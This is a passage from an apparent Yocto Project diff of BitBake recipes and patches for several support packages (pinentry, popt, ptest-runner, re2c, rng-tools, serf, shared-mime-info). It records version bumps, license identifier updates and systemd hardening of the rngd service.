--- /dev/null
+++ b/meta/recipes-support/pinentry/pinentry_1.2.0.bb
@@ -0,0 +1,36 @@
+SUMMARY = "Collection of simple PIN or passphrase entry dialogs"
+DESCRIPTION = "\
+ Pinentry is a collection of simple PIN or passphrase entry dialogs which \
+ utilize the Assuan protocol as described by the aegypten project; see \
+ http://www.gnupg.org/aegypten/ for details."
+
+HOMEPAGE = "http://www.gnupg.org/related_software/pinentry/index.en.html"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=cbbd794e2a0a289b9dfcc9f513d1996e"
+
+DEPENDS = "gettext-native libassuan libgpg-error"
+
+UPSTREAM_CHECK_URI = "https://gnupg.org/download/index.html"
+SRC_URI = "${GNUPG_MIRROR}/${BPN}/${BPN}-${PV}.tar.bz2 \
+ file://libassuan_pkgconf.patch \
+ file://gpg-error_pkconf.patch \
+"
+
+SRC_URI[sha256sum] = "10072045a3e043d0581f91cd5676fcac7ffee957a16636adedaa4f583a616470"
+
+inherit autotools pkgconfig
+
+PACKAGECONFIG ??= "ncurses libcap"
+
+PACKAGECONFIG[ncurses] = "--enable-ncurses --with-ncurses-include-dir=${STAGING_INCDIR}, --disable-ncurses, ncurses"
+PACKAGECONFIG[libcap] = "--with-libcap, --without-libcap, libcap"
+PACKAGECONFIG[qt] = "--enable-pinentry-qt, --disable-pinentry-qt, qtbase-native qtbase"
+PACKAGECONFIG[gtk2] = "--enable-pinentry-gtk2, --disable-pinentry-gtk2, gtk+ glib-2.0"
+
+PACKAGECONFIG[secret] = "--enable-libsecret, --disable-libsecret, libsecret"
+
+EXTRA_OECONF = " \
+ --disable-rpath \
+"
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/popt/popt/disable_tests.patch b/meta/recipes-support/popt/popt/disable_tests.patch
deleted file mode 100644
index 016cf66a27..0000000000
--- a/meta/recipes-support/popt/popt/disable_tests.patch
+++ /dev/null
@@ -1,21 +0,0 @@
-Use of $(top_srcdir) in TESTS is an error which causes
-automake-1.13 to abort. Just remove tests.
-
-Upstream-Status: Inappropriate [disable feature]
-
-Signed-off-by: Marko Lindqvist <cazfi74@gmail.com>
-diff -Nurd popt-1.16/Makefile.am popt-1.16/Makefile.am
---- popt-1.16/Makefile.am 2010-05-04 23:55:54.000000000 +0300
-+++ popt-1.16/Makefile.am 2013-01-02 13:34:29.540361391 +0200
-@@ -34,11 +34,6 @@
-
- noinst_SCRIPTS = testit.sh
-
--TESTS_ENVIRONMENT = \
--test1="$(top_builddir)/test1"
--
--TESTS = $(top_srcdir)/testit.sh
--
- include_HEADERS = popt.h
-
- usrlibdir = $(libdir)
diff --git a/meta/recipes-support/popt/popt/pkgconfig_fix.patch b/meta/recipes-support/popt/popt/pkgconfig_fix.patch
deleted file mode 100644
index 0bddbf8c94..0000000000
--- a/meta/recipes-support/popt/popt/pkgconfig_fix.patch
+++ /dev/null
@@ -1,15 +0,0 @@
-Upstream-Status: Pending
-
-Install the pkgconfig file into libdir.
-
---- popt-1.16.orig/Makefile.am 2012-04-26 13:42:54.021139813 +0800
-+++ popt-1.16/Makefile.am 2012-04-26 13:36:03.552096912 +0800
-@@ -47,7 +47,7 @@
- libpopt_la_SOURCES = popt.c poptparse.c poptconfig.c popthelp.c poptint.c
- libpopt_la_LDFLAGS = -no-undefined @LTLIBINTL@ @LTLIBICONV@
-
--pkgconfigdir = $(prefix)/lib/pkgconfig
-+pkgconfigdir = $(libdir)/pkgconfig
- pkgconfig_DATA = popt.pc
-
- if HAVE_LD_VERSION_SCRIPT
diff --git a/meta/recipes-support/popt/popt/popt_fix_for_automake-1.12.patch b/meta/recipes-support/popt/popt/popt_fix_for_automake-1.12.patch
deleted file mode 100644
index 7d74aadffe..0000000000
--- a/meta/recipes-support/popt/popt/popt_fix_for_automake-1.12.patch
+++ /dev/null
@@ -1,21 +0,0 @@
-Upstream-Status: pending
-
-This patch avoids this error with automake 1.12:
-
-| configure.ac:49: error: automatic de-ANSI-fication support has been removed
-
-Signed-off-by: Nitin A Kamble <nitin.a.kamble@intel.com>
-2012/05/02
-
-Index: popt-1.16/configure.ac
-===================================================================
---- popt-1.16.orig/configure.ac
-+++ popt-1.16/configure.ac
-@@ -46,7 +46,6 @@ AC_GCC_TRADITIONAL
- AC_SYS_LARGEFILE
-
- AC_ISC_POSIX
--AM_C_PROTOTYPES
-
- AC_CHECK_HEADERS(float.h fnmatch.h glob.h langinfo.h libintl.h mcheck.h unistd.h)
-
diff --git a/meta/recipes-support/popt/popt_1.16.bb b/meta/recipes-support/popt/popt_1.16.bb
deleted file mode 100644
index 27e49c2ca2..0000000000
--- a/meta/recipes-support/popt/popt_1.16.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-SUMMARY = "Library for parsing command line options"
-HOMEPAGE = "http://rpm5.org/"
-SECTION = "libs"
-
-LICENSE = "MIT"
-LIC_FILES_CHKSUM = "file://COPYING;md5=cb0613c30af2a8249b8dcc67d3edb06d"
-PR = "r3"
-
-DEPENDS = "virtual/libiconv"
-
-SRC_URI = "http://anduin.linuxfromscratch.org/BLFS/popt/popt-${PV}.tar.gz \
- file://pkgconfig_fix.patch \
- file://popt_fix_for_automake-1.12.patch \
- file://disable_tests.patch \
- "
-
-SRC_URI[md5sum] = "3743beefa3dd6247a73f8f7a32c14c33"
-SRC_URI[sha256sum] = "e728ed296fe9f069a0e005003c3d6b2dde3d9cad453422a10d6558616d304cc8"
-
-inherit autotools gettext
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/popt/popt_1.18.bb b/meta/recipes-support/popt/popt_1.18.bb
new file mode 100644
index 0000000000..057c44f223
--- /dev/null
+++ b/meta/recipes-support/popt/popt_1.18.bb
@@ -0,0 +1,16 @@
+SUMMARY = "Library for parsing command line options"
+DESCRIPTION = "Popt is a C library for parsing command line parameters. Popt was heavily influenced by the getopt() and getopt_long() functions, but it improves on them by allowing more powerful argument expansion. Popt can parse arbitrary argv[] style arrays and automatically set variables based on command line arguments."
+HOMEPAGE = "https://www.rpm.org/"
+SECTION = "libs"
+
+LICENSE = "MIT"
+LIC_FILES_CHKSUM = "file://COPYING;md5=cb0613c30af2a8249b8dcc67d3edb06d"
+
+DEPENDS = "virtual/libiconv"
+
+SRC_URI = "http://ftp.rpm.org/popt/releases/popt-1.x/${BP}.tar.gz"
+SRC_URI[sha256sum] = "5159bc03a20b28ce363aa96765f37df99ea4d8850b1ece17d1e6ad5c24fdc5d1"
+
+inherit autotools gettext
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/ptest-runner/ptest-runner_2.3.2.bb b/meta/recipes-support/ptest-runner/ptest-runner_2.3.2.bb
deleted file mode 100644
index 187f22df04..0000000000
--- a/meta/recipes-support/ptest-runner/ptest-runner_2.3.2.bb
+++ /dev/null
@@ -1,28 +0,0 @@
-SUMMARY = "A C program to run all installed ptests"
-DESCRIPTION = "The ptest-runner2 package installs a ptest-runner \
-program which loops through all installed ptest test suites and \
-runs them in sequence."
-HOMEPAGE = "http://git.yoctoproject.org/cgit/cgit.cgi/ptest-runner2/about/"
-
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://LICENSE;md5=751419260aa954499f7abaabaa882bbe"
-
-SRCREV = "7015e9199ce748c0717addeebe7a8c47448bab03"
-PV = "2.3.2+git${SRCPV}"
-
-SRC_URI = "git://git.yoctoproject.org/ptest-runner2 \
-"
-
-S = "${WORKDIR}/git"
-
-FILES_${PN} = "${bindir}/ptest-runner"
-
-EXTRA_OEMAKE = "-e MAKEFLAGS= CFLAGS="${CFLAGS} -DDEFAULT_DIRECTORY=\\\"${libdir}\\\"""
-
-do_compile () {
- oe_runmake
-}
-
-do_install () {
- install -D -m 0755 ${S}/ptest-runner ${D}${bindir}/ptest-runner
-}
diff --git a/meta/recipes-support/ptest-runner/ptest-runner_2.4.2.bb b/meta/recipes-support/ptest-runner/ptest-runner_2.4.2.bb
new file mode 100644
index 0000000000..5a1d329993
--- /dev/null
+++ b/meta/recipes-support/ptest-runner/ptest-runner_2.4.2.bb
@@ -0,0 +1,34 @@
+SUMMARY = "A C program to run all installed ptests"
+DESCRIPTION = "The ptest-runner2 package installs a ptest-runner \
+program which loops through all installed ptest test suites and \
+runs them in sequence."
+HOMEPAGE = "http://git.yoctoproject.org/cgit/cgit.cgi/ptest-runner2/about/"
+
+LICENSE = "GPL-2.0-or-later"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=751419260aa954499f7abaabaa882bbe"
+
+SRCREV = "bcb82804daa8f725b6add259dcef2067e61a75aa"
+PV .= "+git${SRCPV}"
+
+SRC_URI = "git://git.yoctoproject.org/ptest-runner2;branch=master \
+"
+
+S = "${WORKDIR}/git"
+
+FILES:${PN} = "${bindir}/ptest-runner ${bindir}/ptest-runner-collect-system-data"
+
+EXTRA_OEMAKE = "-e MAKEFLAGS= CFLAGS="${CFLAGS} -DDEFAULT_DIRECTORY=\\\"${libdir}\\\"""
+
+do_compile () {
+ oe_runmake
+}
+
+do_install () {
+ install -D -m 0755 ${S}/ptest-runner ${D}${bindir}/ptest-runner
+ install -D -m 0755 ${S}/ptest-runner-collect-system-data ${D}${bindir}/ptest-runner-collect-system-data
+}
+
+RDEPENDS:${PN}:append:libc-glibc = " libgcc"
+
+# pstree is called by ptest-runner-collect-system-data
+RDEPENDS:${PN}:append = " pstree"
diff --git a/meta/recipes-support/re2c/re2c_1.0.1.bb b/meta/recipes-support/re2c/re2c_1.0.1.bb
deleted file mode 100644
index 4ed8d257ac..0000000000
--- a/meta/recipes-support/re2c/re2c_1.0.1.bb
+++ /dev/null
@@ -1,14 +0,0 @@
-SUMMARY = "Tool for writing very fast and very flexible scanners"
-HOMEPAGE = "http://re2c.sourceforge.net/"
-AUTHOR = "Marcus Börger <helly@users.sourceforge.net>"
-SECTION = "devel"
-LICENSE = "PD"
-LIC_FILES_CHKSUM = "file://README;beginline=146;md5=881056c9add17f8019ccd8c382ba963a"
-
-SRC_URI = "${SOURCEFORGE_MIRROR}/${BPN}/${BPN}-${PV}.tar.gz"
-SRC_URI[md5sum] = "e2c6cf52fc6a21595f21bc82db5324f8"
-SRC_URI[sha256sum] = "605058d18a00e01bfc32aebf83af35ed5b13180b4e9f279c90843afab2c66c7c"
-
-BBCLASSEXTEND = "native"
-
-inherit autotools
diff --git a/meta/recipes-support/re2c/re2c_3.0.bb b/meta/recipes-support/re2c/re2c_3.0.bb
new file mode 100644
index 0000000000..ab047601ae
--- /dev/null
+++ b/meta/recipes-support/re2c/re2c_3.0.bb
@@ -0,0 +1,16 @@
+SUMMARY = "Tool for writing very fast and very flexible scanners"
+DESCRIPTION = "A free and open-source lexer generator for C, C++ and Go. It compiles regular expressions to determinisitic finite automata and encodes the automata in the form of a program in the target language. Unlike any other such tool, re2c focuses on generating high efficient code for regular expression matching. As a result this allows a much broader range of use than any traditional lexer."
+HOMEPAGE = "http://re2c.org/"
+BUGTRACKER = "https://github.com/skvadrik/re2c/issues"
+AUTHOR = "Marcus Börger <helly@users.sourceforge.net>"
+SECTION = "devel"
+LICENSE = "PD"
+LIC_FILES_CHKSUM = "file://LICENSE;md5=64eca4d8a3b67f9dc7656094731a2c8d"
+
+SRC_URI = "https://github.com/skvadrik/re2c/releases/download/${PV}/${BPN}-${PV}.tar.xz"
+SRC_URI[sha256sum] = "b3babbbb1461e13fe22c630a40c43885efcfbbbb585830c6f4c0d791cf82ba0b"
+UPSTREAM_CHECK_URI = "https://github.com/skvadrik/re2c/releases"
+
+BBCLASSEXTEND = "native nativesdk"
+
+inherit autotools
diff --git a/meta/recipes-support/rng-tools/rng-tools/rngd.service b/meta/recipes-support/rng-tools/rng-tools/rngd.service
index aaaaa29074..568686e80e 100644
--- a/meta/recipes-support/rng-tools/rng-tools/rngd.service
+++ b/meta/recipes-support/rng-tools/rng-tools/rngd.service
@@ -3,11 +3,31 @@ Description=Hardware RNG Entropy Gatherer Daemon
DefaultDependencies=no
After=systemd-udev-settle.service
Before=sysinit.target shutdown.target
+Wants=systemd-udev-settle.service
Conflicts=shutdown.target
[Service]
EnvironmentFile=-@SYSCONFDIR@/default/rng-tools
ExecStart=@SBINDIR@/rngd -f $EXTRA_ARGS
+CapabilityBoundingSet=CAP_SYS_ADMIN
+IPAddressDeny=any
+LockPersonality=yes
+MemoryDenyWriteExecute=yes
+NoNewPrivileges=yes
+PrivateTmp=yes
+ProtectControlGroups=yes
+ProtectHome=yes
+ProtectHostname=yes
+ProtectKernelModules=yes
+ProtectKernelLogs=yes
+ProtectSystem=strict
+RestrictAddressFamilies=AF_UNIX
+RestrictNamespaces=yes
+RestrictRealtime=yes
+RestrictSUIDSGID=yes
+SystemCallArchitectures=native
+SystemCallErrorNumber=EPERM
+SystemCallFilter=@system-service
[Install]
-WantedBy=multi-user.target
+WantedBy=sysinit.target
diff --git a/meta/recipes-support/rng-tools/rng-tools_6.15.bb b/meta/recipes-support/rng-tools/rng-tools_6.15.bb
new file mode 100644
index 0000000000..ae974f9f6f
--- /dev/null
+++ b/meta/recipes-support/rng-tools/rng-tools_6.15.bb
@@ -0,0 +1,59 @@
+SUMMARY = "Random number generator daemon"
+DESCRIPTION = "Check and feed random data from hardware device to kernel"
+AUTHOR = "Philipp Rumpf, Jeff Garzik <jgarzik@pobox.com>, \
+ Henrique de Moraes Holschuh <hmh@debian.org>"
+HOMEPAGE = "https://github.com/nhorman/rng-tools"
+BUGTRACKER = "https://github.com/nhorman/rng-tools/issues"
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+DEPENDS = "sysfsutils openssl"
+
+SRC_URI = "git://github.com/nhorman/rng-tools.git;branch=master;protocol=https \
+ file://init \
+ file://default \
+ file://rngd.service \
+ "
+SRCREV = "381f69828b782afda574f259c1b7549f48f9bb77"
+
+S = "${WORKDIR}/git"
+
+inherit autotools update-rc.d systemd pkgconfig
+
+EXTRA_OECONF = "--without-rtlsdr"
+
+PACKAGECONFIG ??= "libjitterentropy"
+PACKAGECONFIG:libc-musl = "libargp libjitterentropy"
+
+PACKAGECONFIG[libargp] = "--with-libargp,--without-libargp,argp-standalone,"
+PACKAGECONFIG[libjitterentropy] = "--enable-jitterentropy,--disable-jitterentropy,libjitterentropy"
+PACKAGECONFIG[libp11] = "--with-pkcs11,--without-pkcs11,libp11 openssl"
+PACKAGECONFIG[nistbeacon] = "--with-nistbeacon,--without-nistbeacon,curl libxml2 openssl"
+
+INITSCRIPT_NAME = "rng-tools"
+INITSCRIPT_PARAMS = "start 03 2 3 4 5 . stop 30 0 6 1 ."
+
+SYSTEMD_SERVICE:${PN} = "rngd.service"
+
+# Refer autogen.sh in rng-tools
+do_configure:prepend() {
+ cp ${S}/README.md ${S}/README
+}
+
+do_install:append() {
+ install -Dm 0644 ${WORKDIR}/default ${D}${sysconfdir}/default/rng-tools
+ install -Dm 0755 ${WORKDIR}/init ${D}${sysconfdir}/init.d/rng-tools
+ install -Dm 0644 ${WORKDIR}/rngd.service \
+ ${D}${systemd_system_unitdir}/rngd.service
+ sed -i \
+ -e 's,@SYSCONFDIR@,${sysconfdir},g' \
+ -e 's,@SBINDIR@,${sbindir},g' \
+ ${D}${sysconfdir}/init.d/rng-tools \
+ ${D}${systemd_system_unitdir}/rngd.service
+
+ if [ "${@bb.utils.contains('PACKAGECONFIG', 'nistbeacon', 'yes', 'no', d)}" = "yes" ]; then
+ sed -i \
+ -e '/^IPAddressDeny=any/d' \
+ -e '/^RestrictAddressFamilies=/ s/$/ AF_INET AF_INET6/' \
+ ${D}${systemd_system_unitdir}/rngd.service
+ fi
+}
diff --git a/meta/recipes-support/rng-tools/rng-tools_6.7.bb b/meta/recipes-support/rng-tools/rng-tools_6.7.bb
deleted file mode 100644
index b4e453f67f..0000000000
--- a/meta/recipes-support/rng-tools/rng-tools_6.7.bb
+++ /dev/null
@@ -1,52 +0,0 @@
-SUMMARY = "Random number generator daemon"
-DESCRIPTION = "Check and feed random data from hardware device to kernel"
-AUTHOR = "Philipp Rumpf, Jeff Garzik <jgarzik@pobox.com>, \
- Henrique de Moraes Holschuh <hmh@debian.org>"
-HOMEPAGE = "https://github.com/nhorman/rng-tools"
-BUGTRACKER = "https://github.com/nhorman/rng-tools/issues"
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-DEPENDS = "sysfsutils"
-
-SRC_URI = "\
- git://github.com/nhorman/rng-tools.git \
- file://init \
- file://default \
- file://rngd.service \
-"
-SRCREV = "9fc873c5af0e392632e6b736938b811f7ca97251"
-
-S = "${WORKDIR}/git"
-
-inherit autotools update-rc.d systemd pkgconfig
-
-PACKAGECONFIG ??= "libgcrypt libjitterentropy"
-PACKAGECONFIG_libc-musl = "libargp libjitterentropy"
-
-PACKAGECONFIG[libargp] = "--with-libargp,--without-libargp,argp-standalone,"
-PACKAGECONFIG[libgcrypt] = "--with-libgcrypt,--without-libgcrypt,libgcrypt,"
-PACKAGECONFIG[libjitterentropy] = "--enable-jitterentropy,--disable-jitterentropy,libjitterentropy"
-PACKAGECONFIG[libp11] = "--with-pkcs11,--without-pkcs11,libp11 openssl"
-PACKAGECONFIG[nistbeacon] = "--with-nistbeacon,--without-nistbeacon,curl libxml2 openssl"
-
-INITSCRIPT_NAME = "rng-tools"
-INITSCRIPT_PARAMS = "start 03 2 3 4 5 . stop 30 0 6 1 ."
-
-SYSTEMD_SERVICE_${PN} = "rngd.service"
-
-# Refer autogen.sh in rng-tools
-do_configure_prepend() {
- cp ${S}/README.md ${S}/README
-}
-
-do_install_append() {
- install -Dm 0644 ${WORKDIR}/default ${D}${sysconfdir}/default/rng-tools
- install -Dm 0755 ${WORKDIR}/init ${D}${sysconfdir}/init.d/rng-tools
- install -Dm 0644 ${WORKDIR}/rngd.service \
- ${D}${systemd_system_unitdir}/rngd.service
- sed -i \
- -e 's,@SYSCONFDIR@,${sysconfdir},g' \
- -e 's,@SBINDIR@,${sbindir},g' \
- ${D}${sysconfdir}/init.d/rng-tools \
- ${D}${systemd_system_unitdir}/rngd.service
-}
diff --git a/meta/recipes-support/serf/serf/0001-buckets-ssl_buckets.c-do-not-use-ERR_GET_FUNC.patch b/meta/recipes-support/serf/serf/0001-buckets-ssl_buckets.c-do-not-use-ERR_GET_FUNC.patch
new file mode 100644
index 0000000000..91ccc8a474
--- /dev/null
+++ b/meta/recipes-support/serf/serf/0001-buckets-ssl_buckets.c-do-not-use-ERR_GET_FUNC.patch
@@ -0,0 +1,28 @@
+From 2f45711a66ff99886b6e4a5708e2db01a63e5af4 Mon Sep 17 00:00:00 2001
+From: Alexander Kanavin <alex@linutronix.de>
+Date: Fri, 10 Sep 2021 11:05:10 +0200
+Subject: [PATCH] buckets/ssl_buckets.c: do not use ERR_GET_FUNC
+
+Upstream removed it in
+https://github.com/openssl/openssl/pull/16004
+
+Upstream-Status: Inactive-Upstream [lastrelease: 2015, lastcommit: 2019]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ buckets/ssl_buckets.c | 3 +--
+ 1 file changed, 1 insertion(+), 2 deletions(-)
+
+diff --git a/buckets/ssl_buckets.c b/buckets/ssl_buckets.c
+index b01e535..9801f87 100644
+--- a/buckets/ssl_buckets.c
++++ b/buckets/ssl_buckets.c
+@@ -1325,8 +1325,7 @@ static int ssl_need_client_cert(SSL *ssl, X509 **cert, EVP_PKEY **pkey)
+ return 0;
+ }
+ else {
+- printf("OpenSSL cert error: %d %d %d\n", ERR_GET_LIB(err),
+- ERR_GET_FUNC(err),
++ printf("OpenSSL cert error: %d %d\n", ERR_GET_LIB(err),
+ ERR_GET_REASON(err));
+ PKCS12_free(p12);
+ bio_meth_free(biom);
diff --git a/meta/recipes-support/serf/serf/SConstruct.stop.creating.directories.without.sandbox-install.prefix.patch b/meta/recipes-support/serf/serf/SConstruct.stop.creating.directories.without.sandbox-install.prefix.patch
index 91640d6044..4105868a7e 100644
--- a/meta/recipes-support/serf/serf/SConstruct.stop.creating.directories.without.sandbox-install.prefix.patch
+++ b/meta/recipes-support/serf/serf/SConstruct.stop.creating.directories.without.sandbox-install.prefix.patch
@@ -31,7 +31,7 @@ ERROR: scons install execution failed.
and the installed paths (including the paths inside libserf*.pc)
look correct
-Upstream-Status: Pending
+Upstream-Status: Inactive-Upstream [lastrelease: 2015, lastcommit: 2019]
Signed-off-by: Martin Jansa <Martin.Jansa@gmail.com>
diff --git a/meta/recipes-support/serf/serf_1.3.9.bb b/meta/recipes-support/serf/serf_1.3.9.bb
index dd4133a45c..669f42b8e7 100644
--- a/meta/recipes-support/serf/serf_1.3.9.bb
+++ b/meta/recipes-support/serf/serf_1.3.9.bb
@@ -1,4 +1,9 @@
SUMMARY = "High-Performance Asynchronous HTTP Client Library"
+DESCRIPTION = "The Apache Serf library is a C-based HTTP client library built upon the Apache \
+Portable Runtime (APR) library. It multiplexes connections, running the \
+read/write communication asynchronously. Memory copies and transformations are \
+kept to a minimum to provide high performance operation."
+HOMEPAGE = "http://serf.apache.org/"
SRC_URI = "${APACHE_MIRROR}/${BPN}/${BPN}-${PV}.tar.bz2 \
file://norpath.patch \
file://env.patch \
@@ -7,6 +12,7 @@ SRC_URI = "${APACHE_MIRROR}/${BPN}/${BPN}-${PV}.tar.bz2 \
file://0003-gen_def.patch \
file://0004-Follow-up-to-r1811083-fix-building-with-scons-3.0.0-.patch \
file://SConstruct.stop.creating.directories.without.sandbox-install.prefix.patch \
+ file://0001-buckets-ssl_buckets.c-do-not-use-ERR_GET_FUNC.patch \
"
SRC_URI[md5sum] = "370a6340ff20366ab088012cd13f2b57"
@@ -30,4 +36,9 @@ EXTRA_OESCONS = " \
OPENSSL="${STAGING_EXECPREFIXDIR}" \
"
-BBCLASSEXTEND = "native"
+# scons creates non-reproducible archives
+do_install:append() {
+ rm ${D}/${libdir}/*.a
+}
+
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/shared-mime-info/files/0001-migrate-from-custom-itstool-to-builtin-msgfmt-for-cr.patch b/meta/recipes-support/shared-mime-info/files/0001-migrate-from-custom-itstool-to-builtin-msgfmt-for-cr.patch
new file mode 100644
index 0000000000..d09013bb3c
--- /dev/null
+++ b/meta/recipes-support/shared-mime-info/files/0001-migrate-from-custom-itstool-to-builtin-msgfmt-for-cr.patch
@@ -0,0 +1,70 @@
+From 5ca815cb79f64fab9cbb428b95a861fc0c30c116 Mon Sep 17 00:00:00 2001
+From: Eli Schwartz <eschwartz@archlinux.org>
+Date: Mon, 8 Nov 2021 18:22:47 -0500
+Subject: [PATCH] migrate from custom itstool to builtin msgfmt for creating
+ translated XML
+
+gettext upstream has supported this for a very long time, and using it
+means we don't need to jump through hoops to run ninja inside ninja in
+order to generate the .mo files for itstool.
+
+Although meson 0.60.0 added support for real targets for the built .mo
+files, this changed the rules for output filenames, breaking the script.
+But msgfmt does not care, and anyways comes with builtin meson functions
+for convenient use.
+
+Fixes #170
+Upstream-Status: Submitted [https://gitlab.freedesktop.org/xdg/shared-mime-info/-/merge_requests/162]
+Signed-off-by: Alexander Kanavin <alex@linutronix.de>
+---
+ data/freedesktop_generate.sh | 12 ------------
+ data/meson.build | 16 +++++-----------
+ 2 files changed, 5 insertions(+), 23 deletions(-)
+ delete mode 100755 data/freedesktop_generate.sh
+
+diff --git a/data/freedesktop_generate.sh b/data/freedesktop_generate.sh
+deleted file mode 100755
+index ff13e75..0000000
+--- a/data/freedesktop_generate.sh
++++ /dev/null
+@@ -1,12 +0,0 @@
+-#!/bin/sh -e
+-
+-src_root="$1"
+-build_root="$2"
+-
+-ninja -C "${build_root}" shared-mime-info-gmo
+-
+-itstool \
+- --its "${src_root}/data/its/shared-mime-info.its" \
+- --join "${src_root}/data/freedesktop.org.xml.in" \
+- -o "${build_root}/data/freedesktop.org.xml" \
+- "${build_root}/po/"*".gmo"
+diff --git a/data/meson.build b/data/meson.build
+index 263567d..c5696f2 100644
+--- a/data/meson.build
++++ b/data/meson.build
+@@ -1,18 +1,12 @@
+
+ install_man('update-mime-database.1')
+
+-freedesktop_org_xml = custom_target('freedesktop.org.xml',
+- input : files(
+- 'freedesktop.org.xml.in',
+- 'its/shared-mime-info.its',
+- 'its/shared-mime-info.loc',
+- ),
++freedesktop_org_xml = i18n.merge_file(
++ input: 'freedesktop.org.xml.in',
+ output: 'freedesktop.org.xml',
+- command: [
+- find_program('freedesktop_generate.sh'),
+- meson.source_root(),
+- meson.build_root()
+- ],
++ data_dirs: '.',
++ po_dir: '../po',
++ type: 'xml',
+ install: true,
+ install_dir: get_option('datadir') / 'mime' / 'packages',
+ )
diff --git a/meta/recipes-support/shared-mime-info/shared-mime-info.inc b/meta/recipes-support/shared-mime-info/shared-mime-info.inc
deleted file mode 100644
index 3fe1a445b0..0000000000
--- a/meta/recipes-support/shared-mime-info/shared-mime-info.inc
+++ /dev/null
@@ -1,37 +0,0 @@
-SUMMARY = "Shared MIME type database and specification"
-HOMEPAGE = "http://freedesktop.org/wiki/Software/shared-mime-info"
-SECTION = "base"
-
-LICENSE = "GPLv2"
-LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
-
-DEPENDS = "libxml2 intltool-native glib-2.0 shared-mime-info-native"
-
-SRC_URI = "http://freedesktop.org/~hadess/shared-mime-info-${PV}.tar.xz"
-
-inherit autotools pkgconfig gettext
-
-EXTRA_OECONF = "--disable-update-mimedb"
-
-FILES_${PN} += "${datadir}/mime"
-FILES_${PN}-dev += "${datadir}/pkgconfig/shared-mime-info.pc"
-
-# freedesktop.org.xml is only required when updating the mime database,
-# package it separately
-PACKAGES =+ "shared-mime-info-data"
-FILES_shared-mime-info-data = "${datadir}/mime/packages/freedesktop.org.xml"
-RDEPENDS_shared-mime-info-data = "shared-mime-info"
-
-do_install () {
- autotools_do_install
-
- update-mime-database ${D}${datadir}/mime
-}
-
-do_install_class-native () {
- autotools_do_install
-
- ${B}/update-mime-database ${D}${datadir}/mime
-}
-
-BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-support/shared-mime-info/shared-mime-info/install-data-hook.patch b/meta/recipes-support/shared-mime-info/shared-mime-info/install-data-hook.patch
deleted file mode 100644
index 262ff7562c..0000000000
--- a/meta/recipes-support/shared-mime-info/shared-mime-info/install-data-hook.patch
+++ /dev/null
@@ -1,25 +0,0 @@
-fix shared-mime-info build race condition
-
-The definition of install-data-hook in Makefile.am leads
-to multiple, overlapping, executions of install-binPROGRAMS
-target. We modify the definition to avoid that.
-
-Upstream-Status: Pending
-
-Signed-off-by: Joe Slater <jslater@windriver.com>
-
-Index: shared-mime-info-1.9/Makefile.am
-===================================================================
---- shared-mime-info-1.9.orig/Makefile.am
-+++ shared-mime-info-1.9/Makefile.am
-@@ -50,7 +50,9 @@ else
- update_mime_database="$(top_builddir)/update-mime-database$(EXEEXT)"
- endif
-
--install-data-hook: install-binPROGRAMS
-+# do NOT make this dependent on anything!
-+#
-+install-data-hook:
- if ENABLE_UPDATE_MIMEDB
- $(update_mime_database) -V "$(DESTDIR)$(datadir)/mime"
- endif
diff --git a/meta/recipes-support/shared-mime-info/shared-mime-info/parallelmake.patch b/meta/recipes-support/shared-mime-info/shared-mime-info/parallelmake.patch
deleted file mode 100644
index fea34a55a2..0000000000
--- a/meta/recipes-support/shared-mime-info/shared-mime-info/parallelmake.patch
+++ /dev/null
@@ -1,33 +0,0 @@
-The Makefile used by shared-mime-info is one big race with the SUBDIRS
-option and the dependency specifically calling make all combining to
-create multiple make instances all of which may try and build targets
-like update-mime-database.
-
-This patch removes those options meaning make can correctly identify
-dependencies and stop itself racing itself.
-
-RP 10/10/2011
-
-Upstream-Status: Pending
-Signed-off-by: Constantin Musca <constantinx.musca@intel.com>
-
-Index: shared-mime-info-1.9/Makefile.am
-===================================================================
---- shared-mime-info-1.9.orig/Makefile.am
-+++ shared-mime-info-1.9/Makefile.am
-@@ -1,5 +1,3 @@
--SUBDIRS=. po
--
- AM_CPPFLAGS = $(ALL_CFLAGS)
-
- packagesdir = $(datadir)/mime/packages
-@@ -81,8 +79,7 @@ endif
-
- all: $(defaultmakedeps)
-
--create-pot:
-- $(AM_V_GEN) $(MAKE) -C po shared-mime-info.pot
-+create-pot: po
-
- local-test: create-pot freedesktop.org.xml update-mime-database$(EXEEXT)
- if CROSS_COMPILING
diff --git a/meta/recipes-support/shared-mime-info/shared-mime-info_1.10.bb b/meta/recipes-support/shared-mime-info/shared-mime-info_1.10.bb
deleted file mode 100644
index 9fc210b718..0000000000
--- a/meta/recipes-support/shared-mime-info/shared-mime-info_1.10.bb
+++ /dev/null
@@ -1,7 +0,0 @@
-require shared-mime-info.inc
-
-SRC_URI += "file://parallelmake.patch \
- file://install-data-hook.patch"
-
-SRC_URI[md5sum] = "418c2ced9dc4dd5ca8b06a755e6d64e9"
-SRC_URI[sha256sum] = "c625a83b4838befc8cafcd54e3619946515d9e44d63d61c4adf7f5513ddfbebf"
diff --git a/meta/recipes-support/shared-mime-info/shared-mime-info_git.bb b/meta/recipes-support/shared-mime-info/shared-mime-info_git.bb
new file mode 100644
index 0000000000..6179abfef7
--- /dev/null
+++ b/meta/recipes-support/shared-mime-info/shared-mime-info_git.bb
@@ -0,0 +1,31 @@
+SUMMARY = "Shared MIME type database and specification"
+DESCRIPTION = "The shared-mime-info package contains the core database of common types."
+HOMEPAGE = "http://freedesktop.org/wiki/Software/shared-mime-info"
+SECTION = "base"
+
+LICENSE = "GPL-2.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=b234ee4d69f5fce4486a80fdaf4a4263"
+
